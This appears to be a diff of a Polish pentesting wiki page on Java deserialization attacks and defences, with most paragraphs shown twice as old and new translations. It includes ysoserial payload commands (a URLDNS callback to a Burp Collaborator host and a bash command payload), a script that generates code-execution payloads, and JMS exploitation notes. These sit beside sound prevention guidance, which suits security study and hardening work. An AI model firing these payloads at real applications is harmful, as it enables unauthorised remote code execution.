Możesz spróbować **sprawdzić wszystkie biblioteki** uznane za podatne, na które [**Ysoserial**](https://github.com/frohoff/ysoserial) może dostarczyć exploit. Możesz także sprawdzić biblioteki wskazane na [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json).\
|
||||
Możesz również użyć [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector), aby wyszukać możliwe łańcuchy gadżetów, które można wykorzystać.\
|
||||
Podczas uruchamiania **gadgetinspector** (po jego zbudowaniu) nie przejmuj się ilością ostrzeżeń/błędów, przez które przechodzi, pozwól mu zakończyć. Wszystkie znalezione informacje zostaną zapisane w _gadgetinspector/gadget-results/gadget-chains-rok-miesiąc-dzień-godzina-minuta.txt_. Zauważ, że **gadgetinspector nie tworzy exploitu i może wskazywać fałszywe pozytywy**.
|
||||
Możesz spróbować **sprawdzić wszystkie biblioteki**, które są znane jako podatne i dla których [**Ysoserial**](https://github.com/frohoff/ysoserial) może dostarczyć exploit. Możesz również sprawdzić biblioteki wskazane na [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json).\
|
||||
Możesz także użyć [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector), aby wyszukać możliwe łańcuchy gadgetów, które można wykorzystać.\
|
||||
Podczas uruchamiania **gadgetinspector** (po zbudowaniu) nie przejmuj się mnóstwem ostrzeżeń/błędów, przez które przechodzi, i pozwól mu zakończyć. Zapisze wszystkie wyniki w _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_. Proszę zauważyć, że **gadgetinspector nie stworzy exploita i może wskazywać fałszywe pozytywy**.
|
||||
|
||||
#### Test Czarnej Skrzynki
|
||||
#### Test Black Box
|
||||
|
||||
Korzystając z rozszerzenia Burp [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md), możesz zidentyfikować **jakie biblioteki są dostępne** (nawet wersje). Dzięki tym informacjom może być **łatwiej wybrać payload** do wykorzystania podatności.\
|
||||
Używając rozszerzenia Burp [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md), możesz zidentyfikować **które biblioteki są dostępne** (a nawet ich wersje). Z tą informacją może być **łatwiej wybrać ładunek** do wykorzystania podatności.\
|
||||
[**Przeczytaj to, aby dowiedzieć się więcej o GadgetProbe**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\
|
||||
GadgetProbe skupia się na deserializacjach **`ObjectInputStream`**.
|
||||
GadgetProbe koncentruje się na **deserializacjach `ObjectInputStream`**.
|
||||
|
||||
Korzystając z rozszerzenia Burp [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner), możesz **zidentyfikować podatne biblioteki** podatne na exploitowanie za pomocą ysoserial i je **wykorzystać**.\
|
||||
Używając rozszerzenia Burp [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner), możesz **zidentyfikować podatne biblioteki** nadające się do wykorzystania z ysoserial i **wykorzystać** je.\
|
||||
[**Przeczytaj to, aby dowiedzieć się więcej o Java Deserialization Scanner.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
|
||||
Java Deserialization Scanner skupia się na deserializacjach **`ObjectInputStream`**.
|
||||
Java Deserialization Scanner koncentruje się na **deserializacjach `ObjectInputStream`**.
|
||||
|
||||
Możesz także użyć [**Freddy**](https://github.com/nccgroup/freddy), aby wykryć podatności na deserializacje w **Burp**. To wtyczka wykryje podatności **nie tylko związane z `ObjectInputStream`**, ale także podatności z bibliotek deserializacji **Json** i **Yml**. W trybie aktywnym spróbuje je potwierdzić, używając payloadów sleep lub DNS.\
|
||||
[**Więcej informacji o Freddy znajdziesz tutaj.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
|
||||
Możesz także użyć [**Freddy**](https://github.com/nccgroup/freddy), aby **wykryć podatności** deserializacji w **Burp**. Ten plugin wykryje **nie tylko podatności związane z `ObjectInputStream`**, ale **także** podatności z bibliotek deserializacji **Json** i **Yml**. W trybie aktywnym spróbuje je potwierdzić, używając ładunków sleep lub DNS.\
|
||||
[**Możesz znaleźć więcej informacji o Freddy tutaj.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
|
||||
|
||||
**Test Serializacji**
|
||||
|
||||
Nie chodzi tylko o sprawdzenie, czy serwer używa podatnej biblioteki. Czasami możesz **zmienić dane wewnątrz zserializowanego obiektu i ominąć niektóre kontrole** (może to dać ci uprawnienia administratora w aplikacji internetowej).\
|
||||
Jeśli znajdziesz zserializowany obiekt Javy wysyłany do aplikacji internetowej, możesz użyć [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper), aby wydrukować w bardziej czytelnej formie obiekt zserializowany, który jest wysyłany. Znając dane, które wysyłasz, łatwiej będzie je zmodyfikować i ominąć niektóre kontrole.
|
||||
Nie wszystko sprowadza się do sprawdzania, czy serwer używa jakiejkolwiek podatnej biblioteki. Czasami możesz być w stanie **zmienić dane wewnątrz zserializowanego obiektu i obejść niektóre kontrole** (może przyznać ci uprawnienia administratora w aplikacji webowej).\
|
||||
Jeśli znajdziesz zserializowany obiekt java wysyłany do aplikacji webowej, **możesz użyć** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper), **aby wydrukować w bardziej czytelny sposób zserializowany obiekt, który jest wysyłany**. Wiedząc, jakie dane wysyłasz, łatwiej będzie je zmodyfikować i obejść niektóre kontrole.
|
||||
|
||||
### **Exploit**
|
||||
### **Exploity**
|
||||
|
||||
#### **ysoserial**
|
||||
|
||||
Głównym narzędziem do eksploitacji deserializacji Javy jest [**ysoserial**](https://github.com/frohoff/ysoserial) ([**pobierz tutaj**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). Możesz także rozważyć użycie [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified), co pozwoli ci używać złożonych poleceń (z rurami na przykład).\
|
||||
Zauważ, że to narzędzie jest **skoncentrowane** na eksploatacji **`ObjectInputStream`**.\
|
||||
Zalecam **rozpoczęcie od używania ładunku "URLDNS"** przed ładunkiem RCE, aby przetestować, czy wstrzyknięcie jest możliwe. Zauważ jednak, że może się zdarzyć, że ładunek "URLDNS" nie działa, ale inny ładunek RCE tak.
|
||||
Główne narzędzie do wykorzystywania deserializacji Java to [**ysoserial**](https://github.com/frohoff/ysoserial) ([**pobierz tutaj**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). Możesz także rozważyć użycie [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified), które pozwoli ci używać złożonych poleceń (na przykład z użyciem potoków).\
|
||||
Zauważ, że to narzędzie jest **skoncentrowane** na wykorzystywaniu **`ObjectInputStream`**.\
|
||||
Zalecałbym **rozpoczęcie od ładunku "URLDNS"** **przed ładunkiem RCE**, aby sprawdzić, czy wstrzyknięcie jest możliwe. Tak czy inaczej, zauważ, że może ładunek "URLDNS" nie działa, ale inny ładunek RCE może działać.
|
||||
```bash
|
||||
# PoC to make the application perform a DNS req
|
||||
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
|
||||
|
@ -423,9 +424,9 @@ java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb
|
|||
# Base64 encode payload in base64
|
||||
base64 -w0 payload
|
||||
```
|
||||
Podczas tworzenia ładunku dla **java.lang.Runtime.exec()** nie możesz używać znaków specjalnych takich jak ">" lub "|" do przekierowywania wyniku wykonania, "$()" do wykonywania poleceń ani nawet **przekazywać argumentów** do polecenia oddzielonych **spacjami** (możesz użyć `echo -n "hello world"`, ale nie możesz użyć `python2 -c 'print "Hello world"'`). Aby poprawnie zakodować ładunek, możesz skorzystać z [tej strony internetowej](http://www.jackson-t.ca/runtime-exec-payloads.html).
|
||||
Kiedy tworzysz ładunek dla **java.lang.Runtime.exec()**, **nie możesz używać znaków specjalnych** takich jak ">" lub "|" do przekierowania wyjścia z wykonania, "$()" do wykonywania poleceń, ani nawet **przekazywać argumentów** do polecenia oddzielonych **spacjami** (możesz zrobić `echo -n "hello world"`, ale nie możesz zrobić `python2 -c 'print "Hello world"'`). Aby poprawnie zakodować ładunek, możesz [użyć tej strony](http://www.jackson-t.ca/runtime-exec-payloads.html).
|
||||
|
||||
Możesz swobodnie użyć poniższego skryptu do stworzenia **wszystkich możliwych ładunków wykonania kodu** dla systemów Windows i Linux, a następnie przetestować je na podatnej stronie internetowej:
|
||||
Czuj się swobodnie, aby użyć następnego skryptu do stworzenia **wszystkich możliwych ładunków wykonania kodu** dla Windows i Linux, a następnie przetestować je na podatnej stronie internetowej:
|
||||
```python
|
||||
import os
|
||||
import base64
|
||||
|
@ -448,11 +449,11 @@ generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
|
|||
```
|
||||
#### serialkillerbypassgadgets
|
||||
|
||||
Możesz **użyć** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **razem z ysoserial, aby tworzyć więcej exploitów**. Więcej informacji o tym narzędziu znajdziesz w **slajdach prezentacji**, gdzie narzędzie zostało przedstawione: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next\_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next\_slideshow=1)
|
||||
Możesz **użyć** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **razem z ysoserial, aby stworzyć więcej exploitów**. Więcej informacji na temat tego narzędzia znajduje się w **prezentacji**, w której narzędzie zostało zaprezentowane: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next\_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next\_slideshow=1)
|
||||
|
||||
#### marshalsec
|
||||
|
||||
[**marshalsec** ](https://github.com/mbechler/marshalsec)może być używany do generowania ładunków w celu wykorzystania różnych bibliotek serializacji **Json** i **Yml** w Javie.\
|
||||
[**marshalsec** ](https://github.com/mbechler/marshalsec)może być używane do generowania ładunków do eksploatacji różnych **Json** i **Yml** bibliotek serializacji w Javie.\
|
||||
Aby skompilować projekt, musiałem **dodać** te **zależności** do `pom.xml`:
|
||||
```markup
|
||||
<dependency>
|
||||
|
@ -475,50 +476,50 @@ mvn clean package -DskipTests
|
|||
```
|
||||
#### FastJSON
|
||||
|
||||
Dowiedz się więcej o tej bibliotece Java JSON: [https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html](https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html)
|
||||
Przeczytaj więcej o tej bibliotece Java JSON: [https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html](https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html)
|
||||
|
||||
### Laboratoria
|
||||
### Labs
|
||||
|
||||
* Jeśli chcesz przetestować niektóre ładunki ysoserial, możesz **uruchomić tę aplikację internetową**: [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp)
|
||||
* Jeśli chcesz przetestować kilka ładunków ysoserial, możesz **uruchomić tę aplikację webową**: [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp)
|
||||
* [https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/)
|
||||
|
||||
### Dlaczego
|
||||
### Why
|
||||
|
||||
Java używa dużo serializacji do różnych celów, takich jak:
|
||||
|
||||
* **Zapytania HTTP**: Serializacja jest powszechnie stosowana w zarządzaniu parametrami, ViewState, ciasteczkami, itp.
|
||||
* **RMI (Remote Method Invocation)**: Protokół Java RMI, który w całości polega na serializacji, jest podstawą komunikacji zdalnej w aplikacjach Java.
|
||||
* **RMI przez HTTP**: Ta metoda jest powszechnie używana przez aplikacje internetowe oparte na grubej warstwie klienckiej w Javie, wykorzystując serializację do komunikacji obiektów.
|
||||
* **Żądania HTTP**: Serializacja jest szeroko stosowana w zarządzaniu parametrami, ViewState, ciasteczkami itp.
|
||||
* **RMI (Remote Method Invocation)**: Protokół RMI w Javie, który w całości opiera się na serializacji, jest fundamentem komunikacji zdalnej w aplikacjach Java.
|
||||
* **RMI przez HTTP**: Ta metoda jest powszechnie używana przez aplikacje webowe oparte na Javie, wykorzystując serializację do wszystkich komunikacji obiektów.
|
||||
* **JMX (Java Management Extensions)**: JMX wykorzystuje serializację do przesyłania obiektów przez sieć.
|
||||
* **Niestandardowe protokoły**: W Javie standardową praktyką jest przesyłanie surowych obiektów Javy, co zostanie zademonstrowane w nadchodzących przykładach wykorzystania.
|
||||
* **Protokóły niestandardowe**: W Javie standardową praktyką jest przesyłanie surowych obiektów Java, co zostanie zaprezentowane w nadchodzących przykładach exploitów.
|
||||
|
||||
### Zapobieganie
|
||||
### Prevention
|
||||
|
||||
#### Obiekty przejściowe
|
||||
#### Obiekty transientne
|
||||
|
||||
Klasa implementująca `Serializable` może oznaczyć jako `transient` dowolny obiekt wewnątrz klasy, który nie powinien być serializowany. Na przykład:
|
||||
Klasa, która implementuje `Serializable`, może oznaczyć jako `transient` każdy obiekt wewnątrz klasy, który nie powinien być serializowany. Na przykład:
|
||||
```java
|
||||
public class myAccount implements Serializable
|
||||
{
|
||||
private transient double profit; // declared transient
|
||||
private transient double margin; // declared transient
|
||||
```
|
||||
#### Unikaj serializacji klasy, która musi implementować interfejs Serializable
|
||||
#### Unikaj serializacji klasy, która musi implementować Serializable
|
||||
|
||||
W sytuacjach, gdy pewne **obiekty muszą implementować interfejs `Serializable`** ze względu na hierarchię klas, istnieje ryzyko niezamierzonej deserializacji. Aby temu zapobiec, upewnij się, że te obiekty nie mogą być deserializowane poprzez zdefiniowanie metody `final` `readObject()`, która konsekwentnie zgłasza wyjątek, jak pokazano poniżej:
|
||||
W scenariuszach, w których niektóre **obiekty muszą implementować interfejs `Serializable`** z powodu hierarchii klas, istnieje ryzyko niezamierzonej deserializacji. Aby temu zapobiec, upewnij się, że te obiekty są nie-deserializowalne, definiując `final` metodę `readObject()`, która zawsze rzuca wyjątek, jak pokazano poniżej:
|
||||
```java
|
||||
private final void readObject(ObjectInputStream in) throws java.io.IOException {
|
||||
throw new java.io.IOException("Cannot be deserialized");
|
||||
}
|
||||
```
|
||||
#### **Poprawa bezpieczeństwa deserializacji w Javie**
|
||||
#### **Zwiększanie bezpieczeństwa deserializacji w Javie**
|
||||
|
||||
Dostosowywanie `java.io.ObjectInputStream` jest praktycznym podejściem do zabezpieczania procesów deserializacji. Ta metoda jest odpowiednia, gdy:
|
||||
**Dostosowanie `java.io.ObjectInputStream`** to praktyczne podejście do zabezpieczania procesów deserializacji. Metoda ta jest odpowiednia, gdy:
|
||||
|
||||
* Kod deserializacji jest pod kontrolą.
|
||||
* Kod deserializacji jest pod twoją kontrolą.
|
||||
* Klasy oczekiwane do deserializacji są znane.
|
||||
|
||||
Zastąp metodę **`resolveClass()`** w celu ograniczenia deserializacji tylko do dozwolonych klas. Zapobiega to deserializacji dowolnej klasy oprócz tych, które są wyraźnie zezwolone, jak w poniższym przykładzie, który ogranicza deserializację tylko do klasy `Bicycle`:
|
||||
Nadpisz metodę **`resolveClass()`**, aby ograniczyć deserializację tylko do dozwolonych klas. Zapobiega to deserializacji jakiejkolwiek klasy, z wyjątkiem tych wyraźnie dozwolonych, jak w poniższym przykładzie, który ogranicza deserializację tylko do klasy `Bicycle`:
|
||||
```java
|
||||
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
|
||||
public class LookAheadObjectInputStream extends ObjectInputStream {
|
||||
|
@ -539,17 +540,17 @@ return super.resolveClass(desc);
|
|||
}
|
||||
}
|
||||
```
|
||||
**Korzystanie z agenta Java w celu poprawy bezpieczeństwa** oferuje rozwiązanie awaryjne, gdy modyfikacja kodu nie jest możliwa. Ta metoda dotyczy głównie **czarnolistowania szkodliwych klas**, korzystając z parametru JVM:
|
||||
**Używanie agenta Java do zwiększenia bezpieczeństwa** oferuje rozwiązanie awaryjne, gdy modyfikacja kodu nie jest możliwa. Metoda ta dotyczy głównie **czarnej listy szkodliwych klas**, przy użyciu parametru JVM:
|
||||
```
|
||||
-javaagent:name-of-agent.jar
|
||||
```
|
||||
Zapewnia sposób na dynamiczne zabezpieczenie deserializacji, idealny do środowisk, w których natychmiastowe zmiany w kodzie są praktycznie niemożliwe.
|
||||
Zapewnia sposób na dynamiczne zabezpieczenie deserializacji, idealny dla środowisk, w których natychmiastowe zmiany w kodzie są niepraktyczne.
|
||||
|
||||
Sprawdź przykład w [rO0 autorstwa Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0)
|
||||
Sprawdź przykład w [rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0)
|
||||
|
||||
**Wdrażanie filtrów serializacji**: Java 9 wprowadziła filtry serializacji za pośrednictwem interfejsu **`ObjectInputFilter`**, zapewniając potężny mechanizm określania kryteriów, które muszą spełniać zserializowane obiekty przed ich deserializacją. Filtry te mogą być stosowane globalnie lub na poziomie strumienia, oferując precyzyjną kontrolę nad procesem deserializacji.
|
||||
**Implementacja filtrów serializacji**: Java 9 wprowadziła filtry serializacji za pomocą interfejsu **`ObjectInputFilter`**, co zapewnia potężny mechanizm do określania kryteriów, które obiekty serializowane muszą spełniać przed deserializacją. Filtry te mogą być stosowane globalnie lub na poziomie strumienia, oferując szczegółową kontrolę nad procesem deserializacji.
|
||||
|
||||
Aby skorzystać z filtrów serializacji, można ustawić filtr globalny, który będzie stosowany do wszystkich operacji deserializacji lub skonfigurować go dynamicznie dla konkretnych strumieni. Na przykład:
|
||||
Aby skorzystać z filtrów serializacji, możesz ustawić filtr globalny, który stosuje się do wszystkich operacji deserializacji lub skonfigurować go dynamicznie dla konkretnych strumieni. Na przykład:
|
||||
```java
|
||||
ObjectInputFilter filter = info -> {
|
||||
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
|
||||
|
@ -561,29 +562,29 @@ return Status.ALLOWED;
|
|||
};
|
||||
ObjectInputFilter.Config.setSerialFilter(filter);
|
||||
```
|
||||
**Wykorzystanie zewnętrznych bibliotek w celu zwiększenia bezpieczeństwa**: Biblioteki takie jak **NotSoSerial**, **jdeserialize** i **Kryo** oferują zaawansowane funkcje do kontroli i monitorowania deserializacji w Javie. Te biblioteki mogą zapewnić dodatkowe warstwy bezpieczeństwa, takie jak tworzenie listy dozwolonych lub zabronionych klas, analizowanie obiektów zserializowanych przed deserializacją oraz implementowanie niestandardowych strategii serializacji.
|
||||
**Wykorzystanie zewnętrznych bibliotek dla zwiększonego bezpieczeństwa**: Biblioteki takie jak **NotSoSerial**, **jdeserialize** i **Kryo** oferują zaawansowane funkcje do kontrolowania i monitorowania deserializacji w Javie. Te biblioteki mogą zapewnić dodatkowe warstwy bezpieczeństwa, takie jak białe i czarne listy klas, analizowanie obiektów serializowanych przed deserializacją oraz wdrażanie niestandardowych strategii serializacji.
|
||||
|
||||
* **NotSoSerial** przechwytuje procesy deserializacji w celu zapobiegania wykonaniu niezaufanego kodu.
|
||||
* **jdeserialize** umożliwia analizę obiektów zserializowanych w Javie bez ich deserializacji, pomagając zidentyfikować potencjalnie złośliwe treści.
|
||||
* **Kryo** to alternatywny framework serializacji, który kładzie nacisk na szybkość i wydajność, oferując konfigurowalne strategie serializacji, które mogą zwiększyć bezpieczeństwo.
|
||||
* **NotSoSerial** przechwytuje procesy deserializacji, aby zapobiec wykonaniu nieufnego kodu.
|
||||
* **jdeserialize** umożliwia analizę serializowanych obiektów Java bez ich deserializacji, co pomaga w identyfikacji potencjalnie złośliwej zawartości.
|
||||
* **Kryo** to alternatywna ramka do serializacji, która kładzie nacisk na szybkość i wydajność, oferując konfigurowalne strategie serializacji, które mogą zwiększyć bezpieczeństwo.
|
||||
|
||||
### Odnośniki
|
||||
### Odniesienia
|
||||
|
||||
* [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html)
|
||||
* Prezentacja na temat deserializacji i ysoserial: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/)
|
||||
* Deserializacja i prezentacja ysoserial: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/)
|
||||
* [https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/)
|
||||
* [https://www.youtube.com/watch?v=VviY3O-euVQ](https://www.youtube.com/watch?v=VviY3O-euVQ)
|
||||
* Prezentacja na temat gadgetinspector: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) oraz slajdy: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf)
|
||||
* Artykuł na temat Marshalsec: [https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true)
|
||||
* Prezentacja o gadgetinspector: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) oraz slajdy: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf)
|
||||
* Artykuł Marshalsec: [https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true)
|
||||
* [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr)
|
||||
* [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
|
||||
* [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html)
|
||||
* Artykuł na temat deserializacji JSON w Java i .Net: [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** prezentacja: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) oraz slajdy: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||||
* Artykuł o deserializacji JSON w Java i .Net: [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** prezentacja: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) oraz slajdy: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||||
* CVE dotyczące deserializacji: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
|
||||
|
||||
## Wstrzykiwanie JNDI i log4Shell
|
||||
|
||||
Dowiedz się, co to jest **Wstrzykiwanie JNDI, jak je nadużywać za pomocą RMI, CORBA & LDAP oraz jak wykorzystać log4shell** (oraz przykład tej podatności) na następującej stronie:
|
||||
Znajdź, czym jest **Wstrzykiwanie JNDI, jak je wykorzystać za pomocą RMI, CORBA i LDAP oraz jak wykorzystać log4shell** (i przykład tej podatności) na następującej stronie:
|
||||
|
||||
{% content-ref url="jndi-java-naming-and-directory-interface-and-log4shell.md" %}
|
||||
[jndi-java-naming-and-directory-interface-and-log4shell.md](jndi-java-naming-and-directory-interface-and-log4shell.md)
|
||||
|
@ -591,11 +592,11 @@ Dowiedz się, co to jest **Wstrzykiwanie JNDI, jak je nadużywać za pomocą RMI
|
|||
|
||||
## JMS - Java Message Service
|
||||
|
||||
> **Java Message Service** (**JMS**) API to Java API middleware do przesyłania wiadomości między dwoma lub więcej klientami. Jest to implementacja do rozwiązania problemu producenta-konsumenta. JMS jest częścią Java Platform, Enterprise Edition (Java EE) i został zdefiniowany przez specyfikację opracowaną w Sun Microsystems, ale obecnie jest kierowany przez Java Community Process. Jest to standard komunikacji, który pozwala komponentom aplikacji opartym na Java EE tworzyć, wysyłać, odbierać i czytać wiadomości. Umożliwia komunikację między różnymi komponentami rozproszonej aplikacji w sposób luźno powiązany, niezawodny i asynchroniczny. (Z [Wikipedia](https://en.wikipedia.org/wiki/Java\_Message\_Service)).
|
||||
> API **Java Message Service** (**JMS**) to API middleware oparte na wiadomościach w Javie, służące do wysyłania wiadomości między dwoma lub więcej klientami. Jest to implementacja do rozwiązania problemu producenta-konsumenta. JMS jest częścią platformy Java Platform, Enterprise Edition (Java EE) i została zdefiniowana przez specyfikację opracowaną w Sun Microsystems, ale od tego czasu była kierowana przez Java Community Process. Jest to standard komunikacji, który pozwala komponentom aplikacji opartym na Java EE tworzyć, wysyłać, odbierać i odczytywać wiadomości. Umożliwia to luźne powiązanie, niezawodną i asynchroniczną komunikację między różnymi komponentami rozproszonej aplikacji. (Z [Wikipedia](https://en.wikipedia.org/wiki/Java\_Message\_Service)).
|
||||
|
||||
### Produkty
|
||||
|
||||
Istnieje kilka produktów wykorzystujących to oprogramowanie pośredniczące do wysyłania wiadomości:
|
||||
Istnieje kilka produktów korzystających z tego middleware do wysyłania wiadomości:
|
||||
|
||||
![https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](<../../.gitbook/assets/image (314).png>)
|
||||
|
||||
|
@ -603,56 +604,57 @@ Istnieje kilka produktów wykorzystujących to oprogramowanie pośredniczące do
|
|||
|
||||
### Wykorzystanie
|
||||
|
||||
W zasadzie istnieje **szereg usług wykorzystujących JMS w niebezpieczny sposób**. Dlatego jeśli masz **wystarczające uprawnienia** do wysyłania wiadomości do tych usług (zazwyczaj będziesz potrzebować ważnych poświadczeń), możesz wysłać **zserializowane obiekty złośliwe, które zostaną zdeserializowane przez odbiorcę/subskrybenta**.\
|
||||
Oznacza to, że w tej eksploatacji wszyscy **klienci korzystający z tej wiadomości zostaną zainfekowani**.
|
||||
Tak więc, zasadniczo istnieje **wiele usług korzystających z JMS w niebezpieczny sposób**. Dlatego, jeśli masz **wystarczające uprawnienia** do wysyłania wiadomości do tych usług (zazwyczaj będziesz potrzebować ważnych poświadczeń), możesz być w stanie wysłać **złośliwe obiekty serializowane, które będą deserializowane przez konsumenta/subskrybenta**.\
|
||||
Oznacza to, że w tym wykorzystaniu wszystkie **klienty, które będą korzystać z tej wiadomości, zostaną zainfekowane**.
|
||||
|
||||
Należy pamiętać, że nawet jeśli usługa jest podatna (ponieważ niebezpiecznie deserializuje dane wejściowe użytkownika), nadal musisz znaleźć ważne gadżety do wykorzystania podatności.
|
||||
Powinieneś pamiętać, że nawet jeśli usługa jest podatna (ponieważ niebezpiecznie deserializuje dane wejściowe od użytkownika), nadal musisz znaleźć ważne gadżety, aby wykorzystać tę podatność.
|
||||
|
||||
Narzędzie [JMET](https://github.com/matthiaskaiser/jmet) zostało stworzone do **połączenia i ataku na te usługi, wysyłając wiele zserializowanych obiektów złośliwych za pomocą znanych gadżetów**. Te eksploity zadziałają, jeśli usługa nadal jest podatna i jeśli którykolwiek z użytych gadżetów znajduje się w podatnej aplikacji.
|
||||
Narzędzie [JMET](https://github.com/matthiaskaiser/jmet) zostało stworzone, aby **łączyć się i atakować te usługi, wysyłając kilka złośliwych obiektów serializowanych przy użyciu znanych gadżetów**. Te exploity będą działać, jeśli usługa nadal będzie podatna i jeśli jakikolwiek z używanych gadżetów znajduje się w podatnej aplikacji.
|
||||
|
||||
### Odnośniki
|
||||
### Odniesienia
|
||||
|
||||
* Prezentacja JMET: [https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA)
|
||||
* Slajdy: [https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf)
|
||||
|
||||
## .Net
|
||||
|
||||
